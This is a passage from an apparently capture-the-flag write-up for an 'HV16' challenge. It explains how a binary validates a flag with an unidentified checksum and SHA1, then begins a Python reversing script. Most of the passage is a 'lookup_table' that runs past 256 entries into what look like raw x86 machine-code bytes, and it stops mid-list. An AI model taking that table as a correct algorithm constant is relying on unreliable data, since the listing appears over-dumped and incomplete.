&#8220;HV16-&#8220;. Then two algorithms are used to check if the nugget is the correct one. The first one I could not identify. The second one is sha1.<br \/>\nIf we enter the Flag &#8220;HV16-aaaa-bbbb-cccc-dddd-eeee&#8221; the first algorithm is first used for the string &#8220;aaaabbbb&#8221; and again for &#8220;ccccdddd&#8221;. SHA1 is used in the end for &#8220;dddd-eeee&#8221;. &#8220;aaaabbbb&#8221; is compared against the checksum &#8220;5D 0A B8 FB 9B 3A 3A EA&#8221;, &#8220;ccccdddd&#8221; is compared against &#8220;5A 25 23 88 32 36 86 02&#8221; and the sha1 hash is &#8220;dde8d5128cf7a04e047c58395d2f119d56f0e1a4&#8221;.<br \/>\nI first wrote a python script to reproduce the first algorithm and then a second one to reverse it,\u00a0to get the initial values back.<br \/>\n<strong>Algorithm:<\/strong><\/p>\n<pre class=\"wrap:true lang:python decode:true \">#!\/usr\/bin\/python\nlookup_table = [0x20, 0x89, 0xEF, 0xBC, 0x66, 0x7D, 0xDD, 0x48, 0xD4, 0x44, 0x51, 0x25, 0x56, 0xED, 0x93, 0x95, 0x46, 0xE5, 0x11, 0x7C, 0x73, 0xCF, 0x21, 0x14, 0x7A, 0x8F, 0x19, 0xD7, 0x33, 0xB7, 0x8A, 0x8E, 0x92, 0xD3, 0x6E, 0xAD, 0x01, 0xE4, 0xBD, 0x0E, 0x67, 0x4E, 0xA2, 0x24, 0xFD, 0xA7, 0x74, 0xFF, 0x9E, 0x2D, 0xB9, 0x32, 0x62, 0xA8, 0xFA, 0xEB, 0x36, 0x8D, 0xC3, 0xF7, 0xF0, 0x3F, 0x94, 0x02, 0xE0, 0xA9, 0xD6, 0xB4, 0x3E, 0x16, 0x75, 0x6C, 0x13, 0xAC, 0xA1, 0x9F, 0xA0, 0x2F, 0x2B, 0xAB, 0xC2, 0xAF, 0xB2, 0x38, 0xC4, 0x70, 0x17, 0xDC, 0x59, 0x15, 0xA4, 0x82, 0x9D, 0x08, 0x55, 0xFB, 0xD8, 0x2C, 0x5E, 0xB3, 0xE2, 0x26, 0x5A, 0x77, 0x28, 0xCA, 0x22, 0xCE, 0x23, 0x45, 0xE7, 0xF6, 0x1D, 0x6D, 0x4A, 0x47, 0xB0, 0x06, 0x3C, 0x91, 0x41, 0x0D, 0x4D, 0x97, 0x0C, 0x7F, 0x5F, 0xC7, 0x39, 0x65, 0x05, 0xE8, 0x96, 0xD2, 0x81, 0x18, 0xB5, 0x0A, 0x79, 0xBB, 0x30, 0xC1, 0x8B, 0xFC, 0xDB, 0x40, 0x58, 0xE9, 0x60, 0x80, 0x50, 0x35, 0xBF, 0x90, 0xDA, 0x0B, 0x6A, 0x84, 0x9B, 0x68, 0x5B, 0x88, 0x1F, 0x2A, 0xF3, 0x42, 0x7E, 0x87, 0x1E, 0x1A, 0x57, 0xBA, 0xB6, 0x9A, 0xF2, 0x7B, 0x52, 0xA6, 0xD0, 0x27, 0x98, 0xBE, 0x71, 0xCD, 0x72, 0x69, 0xE1, 0x54, 0x49, 0xA3, 0x63, 0x6F, 0xCC, 0x3D, 0xC8, 0xD9, 0xAA, 0x0F, 0xC6, 0x1C, 0xC0, 0xFE, 0x86, 0xEA, 0xDE, 0x07, 0xEC, 0xF8, 0xC9, 0x29, 0xB1, 0x9C, 0x5C, 0x83, 0x43, 0xF9, 0xF5, 0xB8, 0xCB, 0x09, 0xF1, 0x00, 0x1B, 0x2E, 0x85, 0xAE, 0x4B, 0x12, 0x5D, 0xD1, 0x64, 0x78, 0x4C, 0xD5, 0x10, 0x53, 0x04, 0x6B, 0x8C, 0x34, 0x3A, 0x37, 0x03, 0xF4, 0x61, 0xC5, 0xEE, 0xE3, 0x76, 0x31, 0x4F, 0xE6, 0xDF, 0xA5, 0x99, 0x3B, 0xC8, 0x00, 0x00, 0x00, 0x57, 0x56, 0x51, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0x57, 0xFC, 0xF3, 0xA4, 0x5E, 0xB9, 0x2D, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x59, 0x5E, 0x5F, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x60, 0xB8, 0x0B, 0x00, 0x00, 0x00, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0x33, 0xD2, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0x3C, 0x0C, 0x74, 0x22, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0xEB, 0xA1, 0x61, 0xC9, 0xC2, 0x04, 0x00, 0x0F, 0x50, 0x51, 0x57, 0x33, 0xC0, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xFC, 0xF3, 0xAB, 0x5F, 0x59, 0x58, 0xC3, 0xC7, 0x05, 0x9C, 0x42, 0x40, 0x00, 0x01, 0x23, 0x45, 0x67, 0xC7, 0x05, 0xA0, 0x42, 0x40, 0x00, 0x89, 0xAB, 0xCD, 0xEF, 0xC7, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xFE, 0xDC, 0xBA, 0x98, 0xC7, 0x05, 0xA8, 0x42, 0x40, 0x00, 0x76, 0x54, 0x32, 0x10, 0xC7, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xF0, 0xE1, 0xD2, 0xC3, 0xC3, 0xC8, 0x08, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xC1, 0xC1, 0xE8, 0x06, 0xA3, 0xCC, 0x42, 0x40, 0x00, 0xB8, 0x38, 0x00, 0x00, 0x00, 0x83, 0xE1, 0x3F, 0x83, 0xF9, 0x38, 0x73, 0x13, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF8, 0x38, 0x00, 0x00, 0x00, 0xEB, 0x14, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x02, 0x00, 0x00, 0x00, 0x83, 0xC0, 0x40, 0xC7, 0x45, 0xF8, 0x78, 0x00, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x4D, 0xFC, 0x8B, 0x75, 0x08, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xCC, 0x42, 0x40, 0x00, 0x03, 0xC9, 0x8B, 0xD1, 0x03, 0xD2, 0x8D, 0x0C, 0x4A, 0x8D, 0x34, 0xCE, 0x50, 0xFF, 0x75, 0xFC, 0x56, 0x57, 0xE8, 0x7F, 0x28, 0x00, 0x00, 0x03, 0x7D, 0xFC, 0x68, 0x00, 0x40, 0x40, 0x00, 0x57, 0xE8, 0x71, 0x28, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xD1, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0xCA, 0xC1, 0xE1, 0x03, 0x89, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x89, 0x15, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x55, 0xF8, 0xA1, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x0F, 0xC8, 0x0F, 0xC9, 0x89, 0x82, 0x18, 0x42, 0x40, 0x00, 0x89, 0x8A, 0x1C, 0x42, 0x40, 0x00, 0xC9, 0xC2, 0x08, 0x00, 0xFF, 0x35, 0x9C, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB0, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA0, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB4, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA4, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB8, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA8, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xBC, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xAC, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xC0, 0x42, 0x40, 0x00, 0x8B, 0x07, 0x0F, 0xC8, 0xA3, 0xD8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x04, 0x0F, 0xC8, 0xA3, 0xDC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x08, 0x0F, 0xC8, 0xA3, 0xE0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x0C, 0x0F, 0xC8, 0xA3, 0xE4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x10, 0x0F, 0xC8, 0xA3, 0xE8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x14, 0x0F, 0xC8, 0xA3, 0xEC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x18, 0x0F, 0xC8, 0xA3, 0xF0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x1C, 0x0F, 0xC8, 0xA3, 0xF4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x20, 0x0F, 0xC8, 0xA3, 0xF8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x24, 0x0F, 0xC8, 0xA3, 0xFC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x28, 0x0F, 0xC8, 0xA3, 0x00, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x2C, 0x0F, 0xC8, 0xA3, 0x04, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x30, 0x0F, 0xC8, 0xA3, 0x08, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x34, 0x0F, 0xC8, 0xA3, 0x0C, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x38, 0x0F, 0xC8, 0xA3, 0x10, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x3C, 0x0F, 0xC8, 0xCC, 0x14, 0x41, 0x40, 0x00, 0xA1, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x18, 0x41, 0x40, 0x00, 0xA1, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x1C, 0x41, 0x40, 0x00, 0xA1, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x20, 0x41, 0x40, 0x00, 0xA1, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x24, 0x41, 0x40, 0x00, 0xA1, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x28, 0x41, 0x40, 0x00, 0xA1, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x2C, 0x41, 0x40, 0x00, 0xA1, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x30, 0x41, 0x40, 0x00, 0xA1, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x34, 0x41, 0x40, 0x00, 0xA1, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x38, 0x41, 0x40, 0x00, 0xA1, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x3C, 0x41, 0x40, 0x00, 0xA1, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x40, 0x41, 0x40, 0x00, 0xA1, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x44, 0x41, 0x40, 0x00, 0xA1, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x48, 0x41, 0x40, 0x00, 0xA1, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x4C, 0x41, 0x40, 0x00, 0xA1, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x50, 0x41, 0x40, 0x00, 0xA1, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x3\n3, 0x05, 0x14, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x54, 0x41, 0x40, 0x00, 0xA1, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x58, 0x41, 0x40, 0x00, 0xA1, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x5C, 0x41, 0x40, 0x00, 0xA1, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x60, 0x41, 0x40, 0x00, 0xA1, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x64, 0x41, 0x40, 0x00, 0xA1, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x68, 0x41, 0x40, 0x00, 0xA1, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x6C, 0x41, 0x40, 0x00, 0xA1, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x70, 0x41, 0x40, 0x00, 0xA1, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x74, 0x41, 0x40, 0x00, 0xA1, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x78, 0x41, 0x40, 0x00, 0xA1, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x7C, 0x41, 0x40, 0x00, 0xA1, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x80, 0x41, 0x40, 0x00, 0xA1, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x84, 0x41, 0x40, 0x00, 0xA1, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x88, 0x41, 0x40, 0x00, 0xA1, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x8C, 0x41, 0x40, 0x00, 0xA1, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x90, 0x41, 0x40, 0x00, 0xA1, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x94, 0x41, 0x40, 0x00, 0xA1, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x98, 0x41, 0x40, 0x00, 0xA1, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x9C, 0x41, 0x40, 0x00, 0xA1, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA0, 0x41, 0x40, 0x00, 0xA1, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA4, 0x41, 0x40, 0x00, 0xA1, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA8, 0x41, 0x40, 0x00, 0xA1, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xAC, 0x41, 0x40, 0x00, 0xA1, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB0, 0x41, 0x40, 0x00, 0xA1, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB4, 0x41, 0x40, 0x00, 0xA1, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB8, 0x41, 0x40, 0x00, 0xA1, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xBC, 0x41, 0x40, 0x00, 0xA1, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC0, 0x41, 0x40, 0x00, 0xA1, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC4, 0x41, 0x40, 0x00, 0xA1, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC8, 0x41, 0x40, 0x00, 0xA1, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xCC, 0x41, 0x40, 0x00, 0xA1, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD0, 0x41, 0x40, 0x00, 0xA1, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD4, 0x41, 0x40, 0x00, 0xA1, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD8, 0x41, 0x40, 0x00, 0xA1, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xDC, 0x41, 0x40, 0x00, 0xA1, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE0, 0x41, 0x40, 0x00, 0xA1, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE4, 0x41, 0x40, 0x00, 0xA1, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE8, 0x41, 0x40, 0x00, 0xA1, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xEC, 0x41, 0x40, 0x00, 0xA1, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF0, 0x41, 0x40, 0x00, 0xA1, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF4, 0x41, 0x40, 0x00, 0xA1, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF8, 0x41, 0x40, 0x00, 0xA1, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xFC, 0x41, 0x40, 0x00, 0xA1, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x00, 0x42, 0x40, 0x00, 0xA1, 0xF8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x04, 0x42, 0x40, 0x00, 0xA1, 0xFC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x08, 0x42, 0x40, 0x00, 0xA1, 0x00, 0x42\n, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 